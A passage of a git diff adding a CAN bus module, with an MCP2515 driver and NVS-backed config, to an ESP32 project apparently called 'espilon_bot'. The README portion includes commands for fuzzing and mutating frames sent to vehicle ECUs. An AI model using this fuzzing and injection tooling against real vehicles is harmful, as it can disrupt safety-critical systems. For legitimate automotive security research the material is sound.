10 # Scan all standard IDs, 10ms delay +> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID +> can_fuzz_stop +``` + +--- + +## Troubleshooting + +### MCP2515 not detected + +- Verify wiring (CS, MOSI, MISO, SCK) +- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz) +- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue + +### No frames received + +- Confirm bus speed matches the target (500k for cars, 250k for trucks) +- Try `listen` mode first: `can_start 500000 listen` +- Check CAN_H / CAN_L connections and termination (120 ohm) +- Use `can_status` to check error counters — high RX errors indicate speed mismatch + +### Bus-off state + +- TEC exceeded 255 — the MCP2515 disconnected from the bus +- `can_stop` then `can_start` to reset +- Check for wiring issues or speed mismatch + +### RX overflow + +- Bus traffic exceeds processing speed +- Reduce bus load or add hardware filters: `can_filter_add ` +- Increase `CANBUS_RECORD_BUFFER` in menuconfig + +### SPI communication errors + +- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000) +- Check for long wires or loose connections +- Ensure no other device shares the SPI bus diff --git a/espilon_bot/components/mod_canbus/canbus_config.c b/espilon_bot/components/mod_canbus/canbus_config.c new file mode 100644 index 0000000..0825ba7 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_config.c @@ -0,0 +1,319 @@ +/* + * canbus_config.c + * NVS-backed persistent config for CAN bus module. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_CANBUS + +#include +#include +#include "esp_log.h" +#include "nvs_flash.h" +#include "nvs.h" + +#include "canbus_config.h" + +#define TAG "CAN_CFG" +#define NVS_NS "can_cfg" + +/* NVS keys */ +#define KEY_BITRATE "bitrate" +#define KEY_OSC_MHZ "osc_mhz" +#define KEY_FILTERS "sw_filters" +#define KEY_FILTER_CNT "sw_filt_cnt" +#define KEY_ECUS "ecus" +#define KEY_ECU_CNT "ecu_cnt" + +/* ============================================================ + * Init + * ============================================================ */ + +void can_config_init(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err == ESP_OK) { + nvs_close(h); + ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS); + } else { + ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err)); + } +} + +/* ============================================================ + * Bitrate + * ============================================================ */ + +int can_config_get_bitrate(void) +{ + nvs_handle_t h; + int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE; + if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) { + nvs_get_i32(h, KEY_BITRATE, &val); + nvs_close(h); + } + return (int)val; +} + +esp_err_t can_config_set_bitrate(int bitrate) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + err = nvs_set_i32(h, KEY_BITRATE, bitrate); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + return err; +} + +/* ============================================================ + * Oscillator + * ============================================================ */ + +uint8_t can_config_get_osc_mhz(void) +{ + nvs_handle_t h; + uint8_t val = CONFIG_CANBUS_OSC_MHZ; + if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) { + nvs_get_u8(h, KEY_OSC_MHZ, &val); + nvs_close(h); + } + return val; +} + +esp_err_t can_config_set_osc_mhz(uint8_t mhz) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + err = nvs_set_u8(h, KEY_OSC_MHZ, mhz); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + return err; +} + +/* ============================================================ + * Software Filters (stored as blob of uint32_t array) + * ============================================================ */ + +int can_config_get_filters(uint32_t *ids_out, int max_ids) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0; + + uint8_t cnt = 0; + nvs_get_u8(h, KEY_FILTER_CNT, &cnt); + if (cnt == 0 || !ids_out) { nvs_close(h); return 0; } + + if (cnt > max_ids) cnt = max_ids; + + size_t len = cnt * sizeof(uint32_t); + nvs_get_blob(h, KEY_FILTERS, ids_out, &len); + nvs_close(h); + return (int)cnt; +} + +static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt) +{ + esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt); + if (err != ESP_OK) return err; + + if (cnt > 0) { + err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t)); + } else { + nvs_erase_key(h, KEY_FILTERS); + } + if (err == ESP_OK) err = nvs_commit(h); + return err; +} + +esp_err_t can_config_add_filter(uint32_t id) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 }; + uint8_t cnt = 0; + nvs_get_u8(h, KEY_FILTER_CNT, &cnt); + if (cnt > 0) { + size_t len = cnt * sizeof(uint32_t); + nvs_get_blob(h, KEY_FILTERS, ids, &len); + } + + /* Check duplicate */ + for (int i = 0; i < cnt; i++) { + if (ids[i] == id) { nvs_close(h); return ESP_OK; } + } + + if (cnt >= CAN_CFG_MAX_SW_FILTERS) { + nvs_close(h); + return ESP_ERR_NO_MEM; + } + + ids[cnt++] = id; + err = save_filters(h, ids, cnt); + nvs_close(h); + return err; +} + +esp_err_t can_config_del_filter(uint32_t id) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 }; + uint8_t cnt = 0; + nvs_get_u8(h, KEY_FILTER_CNT, &cnt); + if (cnt > 0) { + size_t len = cnt * sizeof(uint32_t); + nvs_get_blob(h, KEY_FILTERS, ids, &len); + } + + /* Find and remove */ + bool found = false; + for (int i = 0; i < cnt; i++) { + if (ids[i] == id) { + memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t)); + cnt--; + found = true; + break; + } + } + + if (found) { + err = save_filters(h, ids, cnt); + } else { + err = ESP_ERR_NOT_FOUND; + } + nvs_close(h); + return err; +} + +esp_err_t can_config_clear_filters(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + err = save_filters(h, NULL, 0); + nvs_close(h); + return err; +} + +/* ============================================================ + * ECU IDs (same pattern as filters) + * ============================================================ */ + +int can_config_get_ecus(uint32_t *ids_out, int max_ids) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0; + + uint8_t cnt = 0; + nvs_get_u8(h, KEY_ECU_CNT, &cnt); + if (cnt == 0 || !ids_out) { nvs_close(h); return 0; } + + if (cnt > max_ids) cnt = max_ids; + + size_t len = cnt * sizeof(uint32_t); + nvs_get_blob(h, KEY_ECUS, ids_out, &len); + nvs_close(h); + return (int)cnt; +} + +esp_err_t can_config_add_ecu(uint32_t id) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 }; + uint8_t cnt = 0; + nvs_get_u8(h, KEY_ECU_CNT, &cnt); + if (cnt > 0) { + size_t len = cnt * sizeof(uint32_t); + nvs_get_blob(h, KEY_ECUS, ids, &len); + } + + for (int i = 0; i < cnt; i++) { + if (ids[i] == id) { nvs_close(h); return ESP_OK; } + } + + if (cnt >= CAN_CFG_MAX_ECUS) { + nvs_close(h); + return ESP_ERR_NO_MEM; + } + + ids[cnt++] = id; + err = nvs_set_u8(h, KEY_ECU_CNT, cnt); + if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t)); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + return err; +} + +esp_err_t can_config_clear_ecus(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + nvs_set_u8(h, KEY_ECU_CNT, 0); + nvs_erase_key(h, KEY_ECUS); + err = nvs_commit(h); + nvs_close(h); + return err; +} + +/* ============================================================ + * Reset All + * ============================================================ */ + +esp_err_t can_config_reset_all(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + err = nvs_erase_all(h); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + ESP_LOGI(TAG, "Config reset to defaults"); + return err; +} + +/* ============================================================ + * List (for status responses) + * ============================================================ */ + +int can_config_list(char *buf, size_t buf_len) +{ + int off = 0; + + off += snprintf(buf + off, buf_len - off, + "bitrate=%d\nosc_mhz=%u\n", + can_config_get_bitrate(), + can_config_get_osc_mhz()); + + /* Software filters */ + uint32_t fids[CAN_CFG_MAX_SW_FILTERS]; + int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS); + off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt); + for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) { + off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]); + } + off += snprintf(buf + off, buf_len - off, "\n"); + + /* Discovered ECUs */ + uint32_t eids[CAN_CFG_MAX_ECUS]; + int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS); + off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt); + for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) { + off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]); + } + off += snprintf(buf + off, buf_len - off, "\n"); + + return off; +} + +#endif /* CONFIG_MODULE_CANBUS */ diff --git a/espilon_bot/components/mod_canbus/canbus_config.h b/espilon_bot/components/mod_canbus/canbus_config.h new file mode 100644 index 0000000..215106a --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_config.h @@ -0,0 +1,42 @@ +/* + * canbus_config.h + * NVS-backed configuration for CAN bus module. + * + * Stores: bitrate, oscillator freq, software filters, discovered ECU IDs. + */ +#pragma once + +#include "esp_err.h" +#include +#include + +#define CAN_CFG_MAX_SW_FILTERS 16 +#define CAN_CFG_MAX_ECUS 16 + +/* Init NVS namespace (call once at module registration) */ +void can_config_init(void); + +/* Bitrate (persistent) */ +int can_config_get_bitrate(void); +esp_err_t can_config_set_bitrate(int bitrate); + +/* Oscillator frequency in MHz (persistent) */ +uint8_t can_config_get_osc_mhz(void); +esp_err_t can_config_set_osc_mhz(uint8_t mhz); + +/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */ +int can_config_get_filters(uint32_t *ids_out, int max_ids); +esp_err_t can_config_add_filter(uint32_t id); +esp_err_t can_config_del_filter(uint32_t id); +esp_err_t can_config_clear_filters(void); + +/* Discovered ECU IDs (for UDS, persistent across reboots) */ +int can_config_get_ecus(uint32_t *ids_out, int max_ids); +esp_err_t can_config_add_ecu(uint32_t id); +esp_err_t can_config_clear_ecus(void); + +/* Reset all config to defaults */ +esp_err_t can_config_reset_all(void); + +/* List all config as formatted string (for status response) */ +int can_config_list(char *buf, size_t buf_len); diff --git a/espilon_bot/components/mod_canbus/canbus_driver.c b/espilon_bot/components/mod_canbus/canbus_driver.c new file mode 100644 index 0000000..2d39bb6 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_driver.c @@ -0,0 +1,815 @@ +/* + * canbus_driver.c + * MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master. + * + * Architecture: + * GPIO ISR (INT pin, active low) → binary semaphore → RX task → callback + * TX: direct SPI writes to TX buffer 0, poll for completion. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_CANBUS + +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" +#include "driver/spi_master.h" +#include "driver/gpio.h" +#include "esp_timer.h" +#include "esp_log.h" + +#include "canbus_driver.h" + +#define TAG "CAN_DRV" + +/* ============================================================ + * MCP2515 SPI Instructions + * ============================================================ */ +#define MCP_RESET 0xC0 +#define MCP_READ 0x03 +#define MCP_WRITE 0x02 +#define MCP_BIT_MODIFY 0x05 +#define MCP_READ_STATUS 0xA0 +#define MCP_RX_STATUS 0xB0 +#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */ +#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */ +#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */ +#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */ + +/* ============================================================ + * MCP2515 Registers + * ============================================================ */ +#define MCP_CANCTRL 0x0F +#define MCP_CANSTAT 0x0E +#define MCP_CNF1 0x2A +#define MCP_CNF2 0x29 +#define MCP_CNF3 0x28 +#define MCP_CANINTE 0x2B +#define MCP_CANINTF 0x2C +#define MCP_EFLG 0x2D +#define MCP_TEC 0x1C +#define MCP_REC 0x1D + +/* RXB0CTRL / RXB1CTRL */ +#define MCP_RXB0CTRL 0x60 +#define MCP_RXB1CTRL 0x70 + +/* Filter/mask registers */ +#define MCP_RXF0SIDH 0x00 +#define MCP_RXF1SIDH 0x04 +#define MCP_RXF2SIDH 0x08 +#define MCP_RXF3SIDH 0x10 +#define MCP_RXF4SIDH 0x14 +#define MCP_RXF5SIDH 0x18 +#define MCP_RXM0SIDH 0x20 +#define MCP_RXM1SIDH 0x24 + +/* TXB0 registers */ +#define MCP_TXB0CTRL 0x30 +#define MCP_TXB0SIDH 0x31 + +/* CANCTRL mode bits */ +#define MCP_MODE_NORMAL 0x00 +#define MCP_MODE_LISTEN 0x60 +#define MCP_MODE_LOOPBACK 0x40 +#define MCP_MODE_CONFIG 0x80 + +/* CANINTF bits */ +#define MCP_RX0IF 0x01 +#define MCP_RX1IF 0x02 +#define MCP_TX0IF 0x04 +#define MCP_TX1IF 0x08 +#define MCP_TX2IF 0x10 +#define MCP_ERRIF 0x20 +#define MCP_WAKIF 0x40 +#define MCP_MERRF 0x80 + +/* CANINTE bits */ +#define MCP_RX0IE 0x01 +#define MCP_RX1IE 0x02 +#define MCP_ERRIE 0x20 + +/* EFLG bits */ +#define MCP_EFLG_RX0OVR 0x40 +#define MCP_EFLG_RX1OVR 0x80 +#define MCP_EFLG_TXBO 0x20 +#define MCP_EFLG_RXEP 0x10 +#define MCP_EFLG_TXEP 0x08 + +/* ============================================================ + * Bit Timing Tables + * ============================================================ */ +typedef struct { + int bitrate; + uint8_t cnf1, cnf2, cnf3; +} can_timing_t; + +/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */ +static const can_timing_t s_timing_16mhz[] = { + { 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */ + { 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */ + { 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */ + { 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */ + { 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */ + { 0, 0, 0, 0 } +}; + +/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */ +static const can_timing_t s_timing_8mhz[] = { + { 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */ + { 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */ + { 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */ + { 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */ + { 0, 0, 0, 0 } +}; + +/* ============================================================ + * Driver State + * ============================================================ */ +static spi_device_handle_t s_spi = NULL; +static TaskHandle_t s_rx_task = NULL; +static SemaphoreHandle_t s_int_sem = NULL; +static SemaphoreHandle_t s_tx_mutex = NULL; +static volatile bool s_running = false; + +static can_rx_callback_t s_rx_cb = NULL; +static void *s_rx_ctx = NULL; + +/* Counters */ +static uint32_t s_rx_count = 0; +static uint32_t s_tx_count = 0; +static uint32_t s_bus_errors = 0; +static uint32_t s_rx_overflow = 0; +static bool s_bus_off = false; +static bool s_err_passive = false; + +/* ============================================================ + * SPI Low-Level Helpers + * ============================================================ */ + +static uint8_t mcp_read_reg(uint8_t addr) +{ + uint8_t tx[3] = { MCP_READ, addr, 0x00 }; + uint8_t rx[3] = { 0 }; + spi_transaction_t t = { + .length = 24, + .tx_buffer = tx, + .rx_buffer = rx, + }; + spi_device_transmit(s_spi, &t); + return rx[2]; +} + +static void mcp_write_reg(uint8_t addr, uint8_t val) +{ + uint8_t tx[3] = { MCP_WRITE, addr, val }; + spi_transaction_t t = { + .length = 24, + .tx_buffer = tx, + }; + spi_device_transmit(s_spi, &t); +} + +static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val) +{ + uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val }; + spi_transaction_t t = { + .length = 32, + .tx_buffer = tx, + }; + spi_device_transmit(s_spi, &t); +} + +static void mcp_reset(void) +{ + uint8_t tx[1] = { MCP_RESET }; + spi_transaction_t t = { + .length = 8, + .tx_buffer = tx, + }; + spi_device_transmit(s_spi, &t); + vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */ +} + +static void mcp_set_mode(uint8_t mode) +{ + mcp_modify_reg(MCP_CANCTRL, 0xE0, mode); + /* Wait for mode change confirmation */ + for (int i = 0; i < 50; i++) { + uint8_t stat = mcp_read_reg(MCP_CANSTAT); + if ((stat & 0xE0) == mode) return; + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode); +} + +/* Read a complete frame from RX buffer (0 or 1) */ +static void mcp_read_rx_buffer(int buf, can_frame_t *frame) +{ + /* Use READ_RX instruction for auto-clear of interrupt flag */ + uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1; + + /* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */ + uint8_t tx[14] = { 0 }; + uint8_t rx[14] = { 0 }; + tx[0] = cmd; + + spi_transaction_t t = { + .length = 14 * 8, + .tx_buffer = tx, + .rx_buffer = rx, + }; + spi_device_transmit(s_spi, &t); + + /* Parse — offsets relative to rx[1] (SIDH is byte 1) */ + uint8_t sidh = rx[1]; + uint8_t sidl = rx[2]; + uint8_t eid8 = rx[3]; + uint8_t eid0 = rx[4]; + uint8_t dlc = rx[5]; + + frame->extended = (sidl & 0x08) != 0; + frame->rtr = false; + + if (frame->extended) { + frame->id = ((uint32_t)sidh << 21) + | ((uint32_t)(sidl & 0xE0) << 13) + | ((uint32_t)(sidl & 0x03) << 16) + | ((uint32_t)eid8 << 8) + | (uint32_t)eid0; + frame->rtr = (dlc & 0x40) != 0; + } else { + frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07); + frame->rtr = (sidl & 0x10) != 0; + } + + frame->dlc = dlc & 0x0F; + if (frame->dlc > 8) frame->dlc = 8; + + memcpy(frame->data, &rx[6], 8); + frame->timestamp_us = 0; /* Caller sets timestamp */ +} + +/* Write a frame to TX buffer 0 and request send */ +static bool mcp_write_tx_buffer(const can_frame_t *frame) +{ + /* Check if TX buffer 0 is free */ + uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL); + if (ctrl & 0x08) { + /* TXREQ still set — previous TX pending */ + return false; + } + + /* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */ + uint8_t tx[14] = { 0 }; + tx[0] = MCP_LOAD_TX0; + + if (frame->extended) { + tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */ + tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */ + | 0x08 /* EXIDE = 1 */ + | (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */ + tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */ + tx[4] = (uint8_t)(frame->id); /* EID0 */ + tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */ + } else { + tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */ + tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */ + | (frame->rtr ? 0x10 : 0x00); + tx[3] = 0; + tx[4] = 0; + tx[5] = frame->dlc; + } + + memcpy(&tx[6], frame->data, 8); + + spi_transaction_t t = { + .length = 14 * 8, + .tx_buffer = tx, + }; + spi_device_transmit(s_spi, &t); + + /* Request to send */ + uint8_t rts = MCP_RTS_TX0; + spi_transaction_t rts_t = { + .length = 8, + .tx_buffer = &rts, + }; + spi_device_transmit(s_spi, &rts_t); + + return true; +} + +/* ============================================================ + * GPIO ISR — INT pin (active low) + * ============================================================ */ + +static void IRAM_ATTR gpio_isr_handler(void *arg) +{ + BaseType_t woken = pdFALSE; + xSemaphoreGiveFromISR(s_int_sem, &woken); + if (woken) portYIELD_FROM_ISR(); +} + +/* ============================================================ + * RX Task + * ============================================================ */ + +static void rx_task(void *arg) +{ + ESP_LOGI(TAG, "RX task started"); + + while (s_running) { + /* Wait for interrupt or timeout (poll every 100ms as fallback) */ + if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) { + continue; + } + + /* Read interrupt flags */ + uint8_t intf = mcp_read_reg(MCP_CANINTF); + + /* RX buffer 0 full */ + if (intf & MCP_RX0IF) { + can_frame_t frame; + mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */ + frame.timestamp_us = esp_timer_get_time(); + s_rx_count++; + if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx); + } + + /* RX buffer 1 full */ + if (intf & MCP_RX1IF) { + can_frame_t frame; + mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */ + frame.timestamp_us = esp_timer_get_time(); + s_rx_count++; + if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx); + } + + /* Error interrupt */ + if (intf & MCP_ERRIF) { + uint8_t eflg = mcp_read_reg(MCP_EFLG); + s_bus_errors++; + + if (eflg & MCP_EFLG_TXBO) { + s_bus_off = true; + ESP_LOGW(TAG, "Bus-off detected"); + } + if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) { + s_err_passive = true; + } + if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) { + s_rx_overflow++; + } + + /* Clear error flags */ + mcp_modify_reg(MCP_EFLG, 0xFF, 0x00); + mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00); + } + + /* TX complete — clear flags */ + if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) { + mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00); + } + } + + ESP_LOGI(TAG, "RX task stopped"); + s_rx_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API — Lifecycle + * ============================================================ */ + +bool can_driver_init(int bitrate, uint8_t osc_mhz) +{ + if (s_spi) { + ESP_LOGW(TAG, "Already initialized"); + return false; + } + + /* Select timing table */ + const can_timing_t *table = NULL; + if (osc_mhz == 16) { + table = s_timing_16mhz; + } else if (osc_mhz == 8) { + table = s_timing_8mhz; + } else { + ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz); + return false; + } + + /* Find matching bitrate */ + const can_timing_t *timing = NULL; + for (int i = 0; table[i].bitrate != 0; i++) { + if (table[i].bitrate == bitrate) { + timing = &table[i]; + break; + } + } + if (!timing) { + ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz); + return false; + } + + /* Init SPI bus */ + spi_bus_config_t bus_cfg = { + .mosi_io_num = CONFIG_CANBUS_PIN_MOSI, + .miso_io_num = CONFIG_CANBUS_PIN_MISO, + .sclk_io_num = CONFIG_CANBUS_PIN_SCK, + .quadwp_io_num = -1, + .quadhd_io_num = -1, + .max_transfer_sz = 32, + }; + + esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret)); + return false; + } + + /* Add MCP2515 as SPI device */ + spi_device_interface_config_t dev_cfg = { + .mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */ + .clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ, + .spics_io_num = CONFIG_CANBUS_PIN_CS, + .queue_size = 4, + }; + + ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret)); + spi_bus_free(CONFIG_CANBUS_SPI_HOST); + return false; + } + + /* Reset MCP2515 (enters CONFIG mode automatically) */ + mcp_reset(); + + /* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */ + uint8_t stat = mcp_read_reg(MCP_CANSTAT); + if ((stat & 0xE0) != MCP_MODE_CONFIG) { + ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat); + spi_bus_remove_device(s_spi); + spi_bus_free(CONFIG_CANBUS_SPI_HOST); + s_spi = NULL; + return false; + } + + ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat); + + /* Set bit timing */ + mcp_write_reg(MCP_CNF1, timing->cnf1); + mcp_write_reg(MCP_CNF2, timing->cnf2); + mcp_write_reg(MCP_CNF3, timing->cnf3); + + /* Enable interrupts: RX0, RX1, Error */ + mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE); + + /* Clear all interrupt flags */ + mcp_write_reg(MCP_CANINTF, 0x00); + + /* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */ + mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */ + mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */ + + /* Create semaphores */ + s_int_sem = xSemaphoreCreateBinary(); + s_tx_mutex = xSemaphoreCreateMutex(); + + /* Reset counters */ + s_rx_count = 0; + s_tx_count = 0; + s_bus_errors = 0; + s_rx_overflow = 0; + s_bus_off = false; + s_err_passive = false; + + /* Configure INT pin as input with pull-up, falling edge interrupt */ + gpio_config_t io_cfg = { + .pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT), + .mode = GPIO_MODE_INPUT, + .pull_up_en = GPIO_PULLUP_ENABLE, + .pull_down_en = GPIO_PULLDOWN_DISABLE, + .intr_type = GPIO_INTR_NEGEDGE, + }; + gpio_config(&io_cfg); + gpio_install_isr_service(0); + gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL); + + ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz", + bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ); + return true; +} + +bool can_driver_start(can_mode_t mode) +{ + if (!s_spi) { + ESP_LOGE(TAG, "Not initialized"); + return false; + } + if (s_running) { + ESP_LOGW(TAG, "Already running"); + return false; + } + + /* Map mode enum to MCP2515 mode register value */ + uint8_t mcp_mode; + const char *mode_str; + switch (mode) { + case CAN_MODE_LISTEN_ONLY: + mcp_mode = MCP_MODE_LISTEN; + mode_str = "listen-only"; + break; + case CAN_MODE_LOOPBACK: + mcp_mode = MCP_MODE_LOOPBACK; + mode_str = "loopback"; + break; + default: + mcp_mode = MCP_MODE_NORMAL; + mode_str = "normal"; + break; + } + + /* Set operational mode */ + mcp_set_mode(mcp_mode); + + /* Verify mode */ + uint8_t stat = mcp_read_reg(MCP_CANSTAT); + if ((stat & 0xE0) != mcp_mode) { + ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat); + return false; + } + + s_running = true; + + /* Start RX task on Core 1, priority 5 (above normal) */ + BaseType_t ret = xTaskCreatePinnedToCore( + rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1 + ); + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create RX task"); + s_running = false; + mcp_set_mode(MCP_MODE_CONFIG); + return false; + } + + ESP_LOGI(TAG, "Started in %s mode", mode_str); + return true; +} + +void can_driver_stop(void) +{ + if (!s_running) return; + + s_running = false; + + /* Give semaphore to wake RX task so it exits */ + if (s_int_sem) xSemaphoreGive(s_int_sem); + + /* Wait for RX task to die */ + for (int i = 0; i < 20 && s_rx_task != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(50)); + } + + /* Put MCP2515 back to CONFIG mode */ + if (s_spi) { + mcp_set_mode(MCP_MODE_CONFIG); + } + + ESP_LOGI(TAG, "Stopped"); +} + +void can_driver_deinit(void) +{ + can_driver_stop(); + + /* Remove ISR */ + gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT); + + /* Free SPI */ + if (s_spi) { + spi_bus_remove_device(s_spi); + spi_bus_free(CONFIG_CANBUS_SPI_HOST); + s_spi = NULL; + } + + /* Free semaphores */ + if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; } + if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; } + + ESP_LOGI(TAG, "Deinitialized"); +} + +bool can_driver_is_running(void) +{ + return s_running; +} + +/* ============================================================ + * Public API — TX / RX + * ============================================================ */ + +bool can_driver_send(const can_frame_t *frame) +{ + if (!s_running || !s_spi) return false; + + xSemaphoreTake(s_tx_mutex, 